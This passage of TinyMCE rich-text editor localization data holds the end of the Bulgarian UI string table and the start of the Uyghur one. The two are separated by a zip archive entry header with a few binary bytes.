"Cell spacing": "\u0420\u0430\u0437\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u043a\u043b\u0435\u0442\u043a\u0438\u0442\u0435",
"Cell padding": "\u0420\u0430\u0437\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0434\u043e \u0441\u044a\u0434\u044a\u0440\u0436\u0430\u043d\u0438\u0435\u0442\u043e",
"Show caption": "\u041f\u043e\u043a\u0430\u0437\u0432\u0430\u043d\u0435 \u043d\u0430 \u043d\u0430\u0434\u043f\u0438\u0441",
"Left": "\u041b\u044f\u0432\u043e",
"Center": "\u0426\u0435\u043d\u0442\u0440\u0438\u0440\u0430\u043d\u043e",
"Right": "\u0414\u044f\u0441\u043d\u043e",
"Cell type": "\u0422\u0438\u043f \u043d\u0430 \u043a\u043b\u0435\u0442\u043a\u0430\u0442\u0430",
"Scope": "\u041e\u0431\u0445\u0432\u0430\u0442",
"Alignment": "\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435",
"H Align": "\u0425\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u043e \u043f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435",
"V Align": "\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u043d\u043e \u043f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435",
"Top": "\u0413\u043e\u0440\u0435",
"Middle": "\u041f\u043e \u0441\u0440\u0435\u0434\u0430\u0442\u0430",
"Bottom": "\u0414\u043e\u043b\u0443",
"Header cell": "\u0417\u0430\u0433\u043b\u0430\u0432\u043d\u0430 \u043a\u043b\u0435\u0442\u043a\u0430 (\u0430\u043d\u0442\u0435\u0442\u043a\u0430)",
"Row group": "Row group",
"Column group": "Column group",
"Row type": "\u0422\u0438\u043f \u043d\u0430 \u0440\u0435\u0434\u0430",
"Header": "\u0413\u043e\u0440\u0435\u043d \u043a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b (header)",
"Body": "\u0421\u044a\u0434\u044a\u0440\u0436\u0430\u043d\u0438\u0435 (body)",
"Footer": "\u0414\u043e\u043b\u0435\u043d \u043a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b (footer)",
"Border color": "\u0426\u0432\u044f\u0442 \u043d\u0430 \u0440\u0430\u043c\u043a\u0430\u0442\u0430",
"Insert template...": "\u0412\u043c\u044a\u043a\u0432\u0430\u043d\u0435 \u043d\u0430 \u0448\u0430\u0431\u043b\u043e\u043d...",
"Templates": "\u0428\u0430\u0431\u043b\u043e\u043d\u0438",
"Template": "\u0428\u0430\u0431\u043b\u043e\u043d",
"Text color": "\u0426\u0432\u044f\u0442 \u043d\u0430 \u0448\u0440\u0438\u0444\u0442\u0430",
"Background color": "\u0424\u043e\u043d\u043e\u0432 \u0446\u0432\u044f\u0442",
"Custom...": "\u0418\u0437\u0431\u0440\u0430\u043d...",
"Custom color": "\u0426\u0432\u044f\u0442 \u043f\u043e \u0438\u0437\u0431\u043e\u0440",
"No color": "\u0411\u0435\u0437 \u0446\u0432\u044f\u0442",
"Remove color": "\u041f\u0440\u0435\u043c\u0430\u0445\u0432\u0430\u043d\u0435 \u043d\u0430 \u0446\u0432\u0435\u0442\u0430",
"Table of Contents": "\u0421\u044a\u0434\u044a\u0440\u0436\u0430\u043d\u0438\u0435",
"Show blocks": "\u041f\u043e\u043a\u0430\u0437\u0432\u0430\u043d\u0435 \u043d\u0430 \u0431\u043b\u043e\u043a\u043e\u0432\u0435\u0442\u0435",
"Show invisible characters": "\u041f\u043e\u043a\u0430\u0437\u0432\u0430\u043d\u0435 \u043d\u0430 \u043d\u0435\u043f\u0435\u0447\u0430\u0442\u0430\u0435\u043c\u0438 \u0437\u043d\u0430\u0446\u0438",
"Word count": "\u0411\u0440\u043e\u0435\u043d\u0435 \u043d\u0430 \u0434\u0443\u043c\u0438",
"Count": "\u0411\u0440\u043e\u0439",
"Document": "\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442",
"Selection": "\u0418\u0437\u0431\u0440\u0430\u043d\u043e",
"Words": "\u0414\u0443\u043c\u0438",
"Words: {0}": "\u0411\u0440\u043e\u0439 \u0434\u0443\u043c\u0438: {0}",
"{0} words": "{0} \u0431\u0440\u043e\u0439 \u0434\u0443\u043c\u0438",
"File": "\u0424\u0430\u0439\u043b",
"Edit": "\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u043d\u0435",
"Insert": "\u0412\u043c\u044a\u043a\u0432\u0430\u043d\u0435",
"View": "\u0418\u0437\u0433\u043b\u0435\u0434",
"Format": "\u0424\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d\u0435",
"Table": "\u0422\u0430\u0431\u043b\u0438\u0446\u0430",
"Tools": "\u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0438",
"Powered by {0}": "\u0421\u044a\u0437\u0434\u0430\u0434\u0435\u043d\u043e \u0441 {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u041f\u043e\u043b\u0435 \u0437\u0430 \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d \u0442\u0435\u043a\u0441\u0442. \u041d\u0430\u0442\u0438\u0441\u043d\u0435\u0442\u0435 Alt+F9 \u0437\u0430 \u043c\u0435\u043d\u044e; Alt+F10 \u0437\u0430 \u043b\u0435\u043d\u0442\u0430 \u0441 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0438; Alt+0 \u0437\u0430 \u043f\u043e\u043c\u043e\u0449.",
"Image title": "\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u0442\u043e",
"Border width": "\u0428\u0438\u0440\u0438\u043d\u0430 \u043d\u0430 \u0440\u0430\u043c\u043a\u0430\u0442\u0430",
"Border style": "\u0421\u0442\u0438\u043b \u043d\u0430 \u0440\u0430\u043c\u043a\u0430\u0442\u0430",
"Error": "\u0413\u0440\u0435\u0448\u043a\u0430",
"Warn": "\u041f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435",
"Valid": "\u0412\u0430\u043b\u0438\u0434\u043d\u043e",
"To open the popup, press Shift+Enter": "\u0417\u0430 \u0434\u0430 \u043e\u0442\u0432\u043e\u0440\u0438\u0442\u0435 \u0438\u0437\u0441\u043a\u0430\u0447\u0430\u0449\u0438\u044f \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446, \u043d\u0430\u0442\u0438\u0441\u043d\u0435\u0442\u0435 Shift+Enter",
"Rich Text Area. Press ALT-0 for help.": "\u041f\u043e\u043b\u0435 \u0437\u0430 \u043e\u0431\u043e\u0433\u0430\u0442\u0435\u043d \u0442\u0435\u043a\u0441\u0442. \u041d\u0430\u0442\u0438\u0441\u043d\u0435\u0442\u0435 ALT+0 \u0437\u0430 \u043f\u043e\u043c\u043e\u0449.",
"System Font": "\u0421\u0438\u0441\u0442\u0435\u043c\u0435\u043d \u0448\u0440\u0438\u0444\u0442",
"Failed to upload image: {0}": "\u041d\u0435\u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043a\u0430\u0447\u0432\u0430\u043d\u0435 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435: {0}",
"Failed to load plugin: {0} from url {1}": "\u041d\u0435\u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0437\u0430\u0440\u0435\u0436\u0434\u0430\u043d\u0435 \u043d\u0430 \u043f\u043b\u044a\u0433\u0438\u043d {0} \u043e\u0442 URL {1}",
"Failed to load plugin url: {0}": "\u041d\u0435\u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0437\u0430\u0440\u0435\u0436\u0434\u0430\u043d\u0435 \u043d\u0430 URL \u043d\u0430 \u043f\u043b\u044a\u0433\u0438\u043d: {0}",
"Failed to initialize plugin: {0}": "\u041d\u0435\u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0430\u043d\u0435 \u043d\u0430 \u043f\u043b\u044a\u0433\u0438\u043d: {0}",
"example": "\u043f\u0440\u0438\u043c\u0435\u0440",
"Search": "\u0422\u044a\u0440\u0441\u0435\u043d\u0435",
"All": "\u0412\u0441\u0438\u0447\u043a\u0438",
"Currency": "\u0412\u0430\u043b\u0443\u0442\u0430",
"Text": "\u0422\u0435\u043a\u0441\u0442",
"Quotations": "\u0426\u0438\u0442\u0430\u0442\u0438",
"Mathematical": "\u041c\u0430\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438",
"Extended Latin": "\u0420\u0430\u0437\u0448\u0438\u0440\u0435\u043d\u0438 \u043b\u0430\u0442\u0438\u043d\u0441\u043a\u0438 \u0431\u0443\u043a\u0432\u0438",
"Symbols": "\u0421\u0438\u043c\u0432\u043e\u043b\u0438",
"Arrows": "\u0421\u0442\u0440\u0435\u043b\u043a\u0438",
"User Defined": "\u0417\u0430\u0434\u0430\u0434\u0435\u043d\u0438 \u043e\u0442 \u043f\u043e\u0442\u0440\u0435\u0431\u0438\u0442\u0435\u043b\u044f",
"dollar sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u0434\u043e\u043b\u0430\u0440",
"currency sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u0432\u0430\u043b\u0443\u0442\u0430",
"euro-currency sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u0435\u0432\u0440\u043e \u0432\u0430\u043b\u0443\u0442\u0430",
"colon sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u043a\u043e\u043b\u043e\u043d",
"cruzeiro sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u043a\u0440\u0443\u0437\u0435\u0439\u0440\u043e",
"french franc sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u0444\u0440\u0435\u043d\u0441\u043a\u0438 \u0444\u0440\u0430\u043d\u043a",
"lira sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u043b\u0438\u0440\u0430",
"mill sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u043c\u0438\u043b",
"naira sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u043d\u0430\u0439\u0440\u0430",
"peseta sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u043f\u0435\u0441\u0435\u0442\u0430",
"rupee sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u0440\u0443\u043f\u0438\u044f",
"won sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u043a\u043e\u0440\u0435\u0439\u0441\u043a\u0438 \u0432\u043e\u043d",
"new sheqel sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u043d\u043e\u0432 \u0448\u0435\u043a\u0435\u043b",
"dong sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u0432\u0438\u0435\u0442\u043d\u0430\u043c\u0441\u043a\u0438 \u0434\u043e\u043d\u0433",
"kip sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u043b\u0430\u043e\u0441\u043a\u0438 \u043a\u0438\u043f",
"tugrik sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u043c\u043e\u043d\u0433\u043e\u043b\u0441\u043a\u0438 \u0442\u0443\u0433\u0440\u0438\u043a",
"drachma sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u0434\u0440\u0430\u0445\u043c\u0430",
"german penny symbol": "\u0441\u0438\u043c\u0432\u043e\u043b \u0437\u0430 \u0433\u0435\u0440\u043c\u0430\u043d\u0441\u043a\u043e \u043f\u0435\u043d\u0438",
"peso sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u043f\u0435\u0441\u043e",
"guarani sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u0433\u0443\u0430\u0440\u0430\u043d\u0438",
"austral sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u0430\u0443\u0441\u0442\u0440\u0430\u043b",
"hryvnia sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u0433\u0440\u0438\u0432\u043d\u044f",
"cedi sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u0441\u0435\u0434\u0438",
"livre tournois sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u043b\u0438\u0432\u0440 \u0442\u0443\u0440\u043d\u0443\u0430",
"spesmilo sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u0441\u043f\u0435\u0441\u043c\u0438\u043b\u043e",
"tenge sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u0442\u0435\u043d\u0433\u0435",
"indian rupee sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u0438\u043d\u0434\u0438\u0439\u0441\u043a\u0430 \u0440\u0443\u043f\u0438\u044f",
"turkish lira sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u0442\u0443\u0440\u0441\u043a\u0430 \u043b\u0438\u0440\u0430",
"nordic mark sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u043d\u043e\u0440\u0434\u0441\u043a\u0430 \u043c\u0430\u0440\u043a\u0430",
"manat sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u043c\u0430\u043d\u0430\u0442",
"ruble sign": "\u0437\u043d\u0430\u043a \u0437\u0430 \u0440\u0443\u0431\u043b\u0430",
"yen character": "\u0441\u0438\u043c\u0432\u043e\u043b \u0437\u0430 \u0439\u0435\u043d\u0430",
"yuan character": "\u0441\u0438\u043c\u0432\u043e\u043b \u0437\u0430 \u044e\u0430\u043d",
"yuan character, in hong kong and taiwan": "\u0441\u0438\u043c\u0432\u043e\u043b \u0437\u0430 \u044e\u0430\u043d \u0432 \u0425\u043e\u043d\u043a\u043e\u043d\u0433 \u0438 \u0422\u0430\u0439\u0432\u0430\u043d",
"yen\/yuan character variant one": "\u0441\u0438\u043c\u0432\u043e\u043b \u0437\u0430 \u0439\u0435\u043d\u0430\/\u044e\u0430\u043d \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0435\u0434\u043d\u043e",
"Loading emoticons...": "\u0417\u0430\u0440\u0435\u0436\u0434\u0430\u043d\u0435 \u043d\u0430 \u0435\u043c\u043e\u0442\u0438\u043a\u043e\u043d\u0438...",
"Could not load emoticons": "\u041d\u0435\u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0437\u0430\u0440\u0435\u0436\u0434\u0430\u043d\u0435 \u043d\u0430 \u0435\u043c\u043e\u0442\u0438\u043a\u043e\u043d\u0438",
"People": "\u0425\u043e\u0440\u0430",
"Animals and Nature": "\u0416\u0438\u0432\u043e\u0442\u043d\u0438 \u0438 \u043f\u0440\u0438\u0440\u043e\u0434\u0430",
"Food and Drink": "\u0425\u0440\u0430\u043d\u0430 \u0438 \u043d\u0430\u043f\u0438\u0442\u043a\u0438",
"Activity": "\u0414\u0435\u0439\u043d\u043e\u0441\u0442\u0438",
"Travel and Places": "\u041f\u044a\u0442\u0443\u0432\u0430\u043d\u0435 \u0438 \u043c\u0435\u0441\u0442\u0430",
"Objects": "\u041f\u0440\u0435\u0434\u043c\u0435\u0442\u0438",
"Flags": "\u0417\u043d\u0430\u043c\u0435\u043d\u0430",
"Characters": "\u0421\u0438\u043c\u0432\u043e\u043b\u0438",
"Characters (no spaces)": "\u0421\u0438\u043c\u0432\u043e\u043b\u0438 (\u0431\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b\u0438)",
"{0} characters": "{0} \u0441\u0438\u043c\u0432\u043e\u043b\u0430",
"Error: Form submit field collision.": "\u0413\u0440\u0435\u0448\u043a\u0430: \u041d\u0435\u0441\u044a\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043d\u0430 \u043f\u043e\u043b\u0435 \u043f\u0440\u0438 \u0438\u0437\u043f\u0440\u0430\u0449\u0430\u043d\u0435 \u043d\u0430 \u0444\u043e\u0440\u043c\u0443\u043b\u044f\u0440.",
"Error: No form element found.": "\u0413\u0440\u0435\u0448\u043a\u0430: \u041d\u0435 \u0435 \u043e\u0442\u043a\u0440\u0438\u0442 \u0435\u043b\u0435\u043c\u0435\u043d\u0442 \u043d\u0430 \u0444\u043e\u0440\u043c\u0443\u043b\u044f\u0440\u0430.",
"Update": "\u0410\u043a\u0442\u0443\u0430\u043b\u0438\u0437\u0438\u0440\u0430\u043d\u0435",
"Color swatch": "\u0426\u0432\u0435\u0442\u043d\u0430 \u043c\u043e\u0441\u0442\u0440\u0430",
"Turquoise": "\u0422\u044e\u0440\u043a\u043e\u0430\u0437\u0435\u043d\u043e",
"Green": "\u0417\u0435\u043b\u0435\u043d\u043e",
"Blue": "\u0421\u0438\u043d\u044c\u043e",
"Purple": "\u041b\u0438\u043b\u0430\u0432\u043e",
"Navy Blue": "\u041c\u043e\u0440\u0441\u043a\u043e\u0441\u0438\u043d\u044c\u043e",
"Dark Turquoise": "\u0422\u044a\u043c\u043d\u043e\u0442\u044e\u0440\u043a\u043e\u0430\u0437\u0435\u043d\u043e",
"Dark Green": "\u0422\u044a\u043c\u043d\u043e\u0437\u0435\u043b\u0435\u043d\u043e",
"Medium Blue": "\u0421\u0440\u0435\u0434\u043d\u043e\u0441\u0438\u043d\u044c\u043e",
"Medium Purple": "\u0421\u0440\u0435\u0434\u043d\u043e\u043b\u0438\u043b\u0430\u0432\u043e",
"Midnight Blue": "\u0421\u0440\u0435\u0434\u043d\u043e\u0449\u043d\u043e \u0441\u0438\u043d\u044c\u043e",
"Yellow": "\u0416\u044a\u043b\u0442\u043e",
"Orange": "\u041e\u0440\u0430\u043d\u0436\u0435\u0432\u043e",
"Red": "\u0427\u0435\u0440\u0432\u0435\u043d\u043e",
"Light Gray": "\u0421\u0432\u0435\u0442\u043b\u043e\u0441\u0438\u0432\u043e",
"Gray": "\u0421\u0438\u0432\u043e",
"Dark Yellow": "\u0422\u044a\u043c\u043d\u043e\u0436\u044a\u043b\u0442\u043e",
"Dark Orange": "\u0422\u044a\u043c\u043d\u043e\u043e\u0440\u0430\u043d\u0436\u0435\u0432\u043e",
"Dark Red": "\u0422\u044a\u043c\u043d\u043e\u0447\u0435\u0440\u0432\u0435\u043d\u043e",
"Medium Gray": "\u0421\u0440\u0435\u0434\u043d\u043e\u0441\u0438\u0432\u043e",
"Dark Gray": "\u0422\u044a\u043c\u043d\u043e\u0441\u0438\u0432\u043e",
"Light Green": "\u0421\u0432\u0435\u0442\u043b\u043e\u0437\u0435\u043b\u0435\u043d",
"Light Yellow": "\u0421\u0432\u0435\u0442\u043b\u043e\u0436\u044a\u043b\u0442",
"Light Red": "\u0421\u0432\u0435\u0442\u043b\u043e\u0447\u0435\u0440\u0432\u0435\u043d",
"Light Purple": "\u0421\u0432\u0435\u0442\u043b\u043e\u043b\u0438\u043b\u0430\u0432",
"Light Blue": "\u0421\u0432\u0435\u0442\u043b\u043e\u0441\u0438\u043d",
"Dark Purple": "\u0422\u044a\u043c\u043d\u043e\u043b\u0438\u043b\u0430\u0432",
"Dark Blue": "\u0422\u044a\u043c\u043d\u043e\u0441\u0438\u043d",
"Black": "\u0427\u0435\u0440\u043d\u043e",
"White": "\u0411\u044f\u043b\u043e",
"Switch to or from fullscreen mode": "\u041f\u0440\u0435\u0432\u043a\u043b\u044e\u0447\u0432\u0430\u043d\u0435 \u043a\u044a\u043c \u0438\u043b\u0438 \u043e\u0442 \u0440\u0435\u0436\u0438\u043c \u043d\u0430 \u0446\u044f\u043b \u0435\u043a\u0440\u0430\u043d",
"Open help dialog": "\u041e\u0442\u0432\u0430\u0440\u044f\u043d\u0435 \u043d\u0430 \u0434\u0438\u0430\u043b\u043e\u0433\u043e\u0432 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446 \u0437\u0430 \u043f\u043e\u043c\u043e\u0449",
"history": "\u0438\u0441\u0442\u043e\u0440\u0438\u044f",
"styles": "\u0441\u0442\u0438\u043b\u043e\u0432\u0435",
"formatting": "\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d\u0435",
"alignment": "\u043f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435",
"indentation": "\u043e\u0442\u0441\u0442\u044a\u043f",
"permanent pen": "\u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u0430 \u0445\u0438\u043c\u0438\u043a\u0430\u043b\u043a\u0430",
"comments": "\u043a\u043e\u043c\u0435\u043d\u0442\u0430\u0440\u0438",
"Format Painter": "\u041a\u043e\u043f\u0438\u0440\u0430\u043d\u0435 \u043d\u0430 \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d\u0435\u0442\u043e",
"Insert\/edit iframe": "\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435\/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043d\u0435 \u043d\u0430 iframe",
"Capitalization": "\u0413\u043b\u0430\u0432\u043d\u0430 \u0431\u0443\u043a\u0432\u0430",
"lowercase": "\u043c\u0430\u043b\u043a\u0438 \u0431\u0443\u043a\u0432\u0438",
"UPPERCASE": "\u0413\u041e\u041b\u0415\u041c\u0418 \u0411\u0423\u041a\u0412\u0418",
"Title Case": "\u0417\u0430\u0433\u043b\u0430\u0432\u043d\u0438 \u0411\u0443\u043a\u0432\u0438",
"Permanent Pen Properties": "\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430 \u041f\u0435\u0440\u043c\u0430\u043d\u0435\u043d\u0442\u043d\u0438\u044f \u041c\u0430\u0440\u043a\u0435\u0440",
"Permanent pen properties...": "\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430 \u043f\u0435\u0440\u043c\u0430\u043d\u0435\u043d\u0442\u043d\u0438\u044f \u043c\u0430\u0440\u043a\u0435\u0440...",
"Font": "\u0428\u0440\u0438\u0444\u0442",
"Size": "\u0420\u0430\u0437\u043c\u0435\u0440",
"More...": "\u041e\u0449\u0435...",
"Spellcheck Language": "\u041f\u0440\u043e\u0432\u0435\u0440\u0438 \u041f\u0440\u0430\u0432\u043e\u043f\u0438\u0441\u0430",
"Select...": "\u0418\u0437\u0431\u0435\u0440\u0438...",
"Preferences": "\u041f\u0440\u0435\u0434\u043f\u043e\u0447\u0438\u0442\u0430\u043d\u0438\u044f",
"Yes": "\u0414\u0430",
"No": "\u041d\u0435",
"Keyboard Navigation": "\u041d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f \u0441 \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u0430",
"Version": "\u0412\u0435\u0440\u0441\u0438\u044f",
"Anchor": "\u041a\u043e\u0442\u0432\u0430 (\u0432\u0440\u044a\u0437\u043a\u0430 \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430)",
"Special character": "\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0435\u043d \u0437\u043d\u0430\u043a",
"Code sample": "\u041f\u0440\u0438\u043c\u0435\u0440\u0435\u043d \u043a\u043e\u0434",
"Color": "\u0426\u0432\u044f\u0442",
"Emoticons": "\u0415\u043c\u043e\u0442\u0438\u043a\u043e\u043d\u0438",
"Document properties": "\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430",
"Image": "\u041a\u0430\u0440\u0442\u0438\u043d\u043a\u0430",
"Insert link": "\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435 \u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430 (\u043b\u0438\u043d\u043a)",
"Target": "\u0426\u0435\u043b \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430",
"Link": "\u0412\u0440\u044a\u0437\u043a\u0430(\u043b\u0438\u043d\u043a)",
"Poster": "\u041f\u043e\u0441\u0442\u0435\u0440",
"Media": "\u041c\u0435\u0434\u0438\u044f",
"Print": "\u041f\u0435\u0447\u0430\u0442",
"Prev": "\u041f\u0440\u0435\u0434\u0438\u0448\u0435\u043d",
"Find and replace": "\u0422\u044a\u0440\u0441\u0435\u043d\u0435 \u0438 \u0437\u0430\u043c\u044f\u043d\u0430",
"Whole words": "\u0421\u0430\u043c\u043e \u0446\u0435\u043b\u0438 \u0434\u0443\u043c\u0438",
"Spellcheck": "\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430 \u043f\u0440\u0430\u0432\u043e\u043f\u0438\u0441\u0430",
"Caption": "\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435 \u043d\u0430 \u0437\u0430\u0433\u043b\u0430\u0432\u0438\u0435 \u043f\u0440\u0435\u0434\u0438 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430",
"Insert template": "\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435 \u043d\u0430 \u0448\u0430\u0431\u043b\u043e\u043d"
});PK
h�\�9��a�a�program/js/tinymce/langs/ug.jsnu�[���tinymce.addI18n('ug',{
"Redo": "\u0642\u0627\u064a\u062a\u0627 \u0642\u0649\u0644\u0649\u0634",
"Undo": "\u0626\u0627\u0631\u0642\u0649\u063a\u0627 \u064a\u06d0\u0646\u0649\u0634",
"Cut": "\u0643\u06d0\u0633\u0649\u0634",
"Copy": "\u0643\u06c6\u0686\u06c8\u0631\u06c8\u0634",
"Paste": "\u0686\u0627\u067e\u0644\u0627\u0634",
"Select all": "\u06be\u06d5\u0645\u0645\u0649\u0646\u0649 \u062a\u0627\u0644\u0644\u0627\u0634",
"New document": "\u064a\u06d0\u06ad\u0649 \u067e\u06c8\u062a\u06c8\u0643",
"Ok": "\u062c\u06d5\u0632\u0649\u0645\u0644\u06d5\u0634",
"Cancel": "\u0642\u0627\u0644\u062f\u06c7\u0631\u06c7\u0634",
"Visual aids": "\u0626\u06d5\u0633\u0643\u06d5\u0631\u062a\u0649\u0634",
"Bold": "\u062a\u0648\u0645",
"Italic": "\u064a\u0627\u0646\u062a\u06c7",
"Underline": "\u0626\u0627\u0633\u062a\u0649 \u0633\u0649\u0632\u0649\u0642",
"Strikethrough": "\u0626\u06c6\u0686\u06c8\u0631\u06c8\u0634 \u0633\u0649\u0632\u0649\u0642\u0649",
"Superscript": "\u0626\u06c8\u0633\u062a\u06c8\u0646\u0643\u0649 \u0628\u06d5\u0644\u06af\u06d5",
"Subscript": "\u0626\u0627\u0633\u062a\u0649\u0646\u0642\u0649 \u0628\u06d5\u0644\u06af\u06d5",
"Clear formatting": "\u0641\u0648\u0631\u0645\u0627\u062a\u0646\u0649 \u062a\u0627\u0632\u0644\u0627\u0634",
"Align left": "\u0633\u0648\u0644\u063a\u0627 \u062a\u0648\u063a\u0631\u0649\u0644\u0627\u0634",
"Align center": "\u0645\u06d5\u0631\u0643\u06d5\u0632\u06af\u06d5 \u062a\u0648\u063a\u06c7\u0631\u0644\u0627\u0634",
"Align right": "\u0626\u0648\u06ad\u063a\u0627 \u062a\u0648\u063a\u06c7\u0631\u0644\u0627\u0634",
"Justify": "\u0626\u0649\u0643\u0643\u0649 \u064a\u0627\u0646\u063a\u0627 \u062a\u0648\u063a\u06c7\u0631\u0644\u0627\u0634",
"Bullet list": "\u0628\u06d5\u0644\u06af\u06d5 \u062a\u0649\u0632\u0649\u0645\u0644\u0649\u0643",
"Numbered list": "\u0633\u0627\u0646\u0644\u0649\u0642 \u062a\u0649\u0632\u0649\u0645\u0644\u0649\u0643",
"Decrease indent": "\u0626\u0627\u0644\u062f\u0649\u063a\u0627 \u0633\u06c8\u0631\u06c8\u0634",
"Increase indent": "\u0643\u06d5\u064a\u0646\u0649\u06af\u06d5 \u0633\u06c8\u0631\u06c8\u0634",
"Close": "\u062a\u0627\u0642\u0627\u0634",
"Formats": "\u0641\u0648\u0631\u0645\u0627\u062a",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0633\u0649\u0632\u0646\u0649\u06ad \u062a\u0648\u0631 \u0643\u06c6\u0631\u06af\u06c8\u0686\u0649\u06ad\u0649\u0632 \u0642\u0649\u064a\u0649\u067e \u0686\u0627\u067e\u0644\u0627\u0634 \u062a\u0627\u062e\u062a\u0649\u0633\u0649 \u0632\u0649\u064a\u0627\u0631\u06d5\u062a \u0642\u0649\u0644\u0649\u0634\u0646\u0649 \u0642\u0648\u0644\u0644\u0649\u0645\u0627\u064a\u062f\u06c7.  Ctrl+X\/C\/V \u062a\u06d0\u0632\u0644\u06d5\u062a\u0645\u06d5 \u0643\u06c7\u0646\u06c7\u067e\u0643\u0649\u0633\u0649 \u0626\u0627\u0631\u0642\u0649\u0644\u0649\u0642 \u0643\u06d0\u0633\u0649\u067e \u0686\u0627\u067e\u0644\u0627\u0634 \u0645\u06d5\u0634\u063a\u06c7\u0644\u0627\u062a\u0649 \u0642\u0649\u0644\u0649\u06ad.",
"Headers": "\u0628\u06d0\u0634\u0649",
"Header 1": "\u062a\u06d0\u0645\u0627 1",
"Header 2": "\u062a\u06d0\u0645\u0627 2",
"Header 3": "\u062a\u06d0\u0645\u0627 3",
"Header 4": "\u062a\u06d0\u0645\u0627 4",
"Header 5": "\u062a\u06d0\u0645\u0627 5",
"Header 6": "\u062a\u06d0\u0645\u0627 6",
"Headings": "\u0645\u0627\u06cb\u0632\u06c7",
